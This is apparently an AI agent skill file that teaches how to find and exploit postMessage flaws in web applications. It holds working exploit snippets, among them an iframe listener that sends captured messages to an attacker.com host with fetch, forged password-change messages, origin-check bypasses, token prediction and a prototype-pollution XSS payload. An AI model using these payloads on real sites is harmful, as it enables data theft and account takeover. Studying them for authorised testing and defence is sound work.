| name | postmessage-vulnerabilities |
| description | How to identify and exploit postMessage vulnerabilities in web applications. Use this skill whenever the user mentions postMessage, cross-origin communication, iframe messaging, event listeners, origin validation, or wants to test for message-based XSS, prototype pollution, or token theft. Trigger for any pentesting task involving JavaScript messaging APIs, cross-origin data flows, or third-party SDK integrations. |
PostMessage Vulnerabilities
A comprehensive guide to identifying and exploiting postMessage vulnerabilities in web applications.
Quick Start
- Enumerate postMessage listeners on the target page
- Identify weak origin validation patterns
- Test for common bypass techniques
- Exploit based on the vulnerability type found
Enumeration
Find Event Listeners
Method 1: Search JavaScript files
grep -r "addEventListener.*message" /path/to/js/
grep -r "\$\(window\).on.*message" /path/to/js/
Method 2: Browser DevTools
getEventListeners(window)
Method 3: DevTools UI
- Go to Elements → Event Listeners tab
- Look for
message event handlers
Method 4: Browser Extensions
These intercept and display all postMessage traffic.
Common Vulnerability Patterns
1. Wildcard Target Origin
Vulnerable code:
window.postMessage('sensitive data', '*')
Exploit: If the page can be iframed (no X-Frame-Options), you can:
- Create an iframe pointing to the victim page
- Listen for messages with
window.addEventListener('message', handler)
- Receive all messages sent with
* target origin
Attack vector:
<iframe src="https://victim.com/sensitive-page"></iframe>
<script>
window.addEventListener('message', (e) => {
console.log('Stolen:', e.data);
fetch('https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(e.data)));
});
</script>
2. Missing Origin Validation
Vulnerable code:
window.addEventListener('message', (e) => {
processSensitiveData(e.data);
});
Exploit: Send arbitrary messages from any origin:
const victimWindow = window.open('https://victim.com/');
victimWindow.postMessage({
action: 'changePassword',
newPassword: 'attacker-controlled'
}, '*');
3. Weak Origin Validation
indexOf() bypass:
if (event.origin.indexOf('https://trusted.com') !== -1) {
}
search() bypass:
if (event.origin.search('trusted.com') !== -1) {
}
match() bypass:
if (event.origin.match(/trusted\.com/)) {
}
4. e.origin == window.origin Bypass
Scenario: Sandboxed iframes with allow-popups but not allow-popups-to-escape-sandbox
Exploit: Both iframe and popup have null origin:
const popup = window.open('https://attacker.com/');
5. e.source Bypass
Vulnerable check:
if (received_message.source !== window) {
return;
}
Bypass: Create and immediately delete an iframe:
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
iframe.contentWindow.postMessage('data', '*');
document.body.removeChild(iframe);
Advanced Attack Patterns
Origin-Derived Script Loading
Pattern: SDK stores event.origin and uses it to load scripts
Exploit:
- Send postMessage from attacker origin
- SDK stores attacker origin in localStorage
- SDK loads script from attacker origin
- Attacker JS runs in victim context
Example (CAPIG case study):
window.postMessage({
msg_type: 'IWL_BOOTSTRAP',
pixel_id: '12345'
}, '*');
Trusted Relay Abuse
Pattern: Trusted origin has endpoints that forward URL params via postMessage
Exploit:
- Find relay endpoint on trusted origin (e.g.,
/preview?msg=...)
- Navigate attacker-controlled window to relay with crafted params
- Relay sends postMessage from trusted origin
- Victim listener accepts it (origin check passes)
Example:
const relay = window.open('https://trusted.com/relay?msg_type=ADMIN_ACTION&token=STOLEN');
Math.random() Token Prediction
Pattern: Callback tokens generated with Math.random()
Exploit:
- Leak PRNG outputs via
window.name on plugin iframes
- Use V8 predictor (e.g., v8-randomness-predictor)
- Predict next callback token
- Forge trusted messages
Example:
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "");
Prototype Pollution via postMessage
Pattern: postMessage data merged into objects without sanitization
Exploit:
const victim = window.open('https://victim.com/iframe');
victim.postMessage({
'__proto__': {
'isAdmin': true,
'username': '<img src=x onerror=alert(1)>'
}
}, '*');
Testing Checklist
Tools
References